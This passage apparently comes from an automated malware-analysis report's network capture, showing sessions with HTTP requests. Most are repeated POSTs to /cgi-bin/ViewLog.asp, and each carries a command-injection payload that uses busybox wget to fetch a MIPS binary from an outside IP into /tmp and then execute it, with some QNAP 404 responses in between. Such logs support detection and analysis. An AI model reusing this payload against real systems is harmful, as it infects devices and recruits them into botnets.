                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:24.954720020 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:26.106736898 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:28.634641886 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:33.246503115 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:42.458343983 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:02.169723988 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:39.032670975 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                332192.168.2.153896095.98.191.898080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:24.359863997 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:24.577876091 CET1340INHTTP/1.0 404 Not Found
                                                Server: http server 1.0
                                                Content-type: text/html
                                                Date: Thu, 23 Nov 2023 04:21:19 GMT
                                                Last-modified: Thu, 23 Nov 2023 04:21:19 GMT
                                                Accept-Ranges: bytes
                                                Connection: close
                                                Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 2d 31 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 69 6d 61 67 65 73 2f 66 61 76 69 63 6f 6e 2e 67 69 66 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 67 69 66 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 69 6d 61 67 65 73 2f 66 61 76 69 63 6f 6e 2e 67 69 66 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 67 69 66 22 20 2f 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 62 6f 64 79 7b 0a 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 4c 75 63 69 64 61 20 47 72 61 6e 64 65 2c 20 54 61 68 6f 6d 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 31 70 78 3b 0a 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 46 46 46 46 46 46 20 75 72 6c 28 27 2f 63 67 69 2d 62 69 6e 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 2f 65 72 72 5f 62 67 2e 6a 70 67 27 29 3b 0a 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 0a 63 6f 6c 6f 72 3a 20 23 41 34 41 33 41 33 3b 0a 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 7d 0a 2e 71 6e 61 70 5f 68 79 70 65 72 6c 69 6e 6b 20 61 2c 2e 71 6e 61 70 5f 68 79 70 65 72 6c 69 6e 6b 20 61 3a 6c 69 6e 6b 2c 2e 71 6e 61 70 5f 68 79 70 65 72 6c 69 6e 6b 20 61 3a 76 69 73 69 74 65 64 7b 0a 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 4c 75 63 69 64 61 20 47 72 61 6e 64 65 2c 20 54 61 68 6f 6d 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 31 70 78 3b 0a 63 6f 6c 6f 72 3a 20 23 41 34 41 33 41 33 3b 0a 7d 0a 2e 71 6e 61 70 5f 62 61 72 31 7b 0a 77 69 64 74 68 3a 20 39 38 30 70 78 3b 0a 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 42 43 42 43 42 43 3b 0a 70 61 64 64 69 6e 67 2d 74 6f 70 3a 20 31 30 70 78 3b 0a 74 65 78 74 2d 61 6c 69 67 6e 3a 20 6c 65 66 74 3b 0a 6d 61 72 67 69 6e 3a 20 30 20 61 75 74 6f 3b 0a 7d 0a 2e 71 6e 61 70 5f 62 61 72 5f 69 6d 67 7b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a
                                                Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><meta http-equiv="Cache-Control" content="no-cache" /><meta http-equiv="Pragma" content="no-cache" /><meta http-equiv="Expires" content="-1" /><link rel="shortcut icon" href="/images/favicon.gif" type="image/gif" /><link rel="icon" href="/images/favicon.gif" type="image/gif" /><style type="text/css">body{font-family:Verdana, Lucida Grande, Tahoma, Arial, Helvetica, sans-serif;font-size: 11px;background: #FFFFFF url('/cgi-bin/images/error/err_bg.jpg');overflow: hidden;color: #A4A3A3;text-align: center;}.qnap_hyperlink a,.qnap_hyperlink a:link,.qnap_hyperlink a:visited{font-family:Verdana, Lucida Grande, Tahoma, Arial, Helvetica, sans-serif;font-size: 11px;color: #A4A3A3;}.qnap_bar1{width: 980px;border-bottom: 1px solid #BCBCBC;padding-top: 10px;text-align: left;margin: 0 auto;}.qnap_bar_img{padding-bottom:


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                333192.168.2.154394431.136.253.358080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:24.359910965 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:24.954715967 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:26.106755018 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:28.634638071 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:33.246503115 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:42.458338976 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:02.169830084 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:39.032668114 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                334192.168.2.153897895.98.191.898080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:24.359949112 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:24.559072018 CET1340INHTTP/1.0 404 Not Found
                                                Server: http server 1.0
                                                Content-type: text/html
                                                Date: Thu, 23 Nov 2023 04:21:19 GMT
                                                Last-modified: Thu, 23 Nov 2023 04:21:19 GMT
                                                Accept-Ranges: bytes
                                                Connection: close
                                                Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 2d 31 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 69 6d 61 67 65 73 2f 66 61 76 69 63 6f 6e 2e 67 69 66 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 67 69 66 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 69 6d 61 67 65 73 2f 66 61 76 69 63 6f 6e 2e 67 69 66 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 67 69 66 22 20 2f 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 62 6f 64 79 7b 0a 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 4c 75 63 69 64 61 20 47 72 61 6e 64 65 2c 20 54 61 68 6f 6d 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 31 70 78 3b 0a 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 46 46 46 46 46 46 20 75 72 6c 28 27 2f 63 67 69 2d 62 69 6e 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 2f 65 72 72 5f 62 67 2e 6a 70 67 27 29 3b 0a 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 0a 63 6f 6c 6f 72 3a 20 23 41 34 41 33 41 33 3b 0a 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 7d 0a 2e 71 6e 61 70 5f 68 79 70 65 72 6c 69 6e 6b 20 61 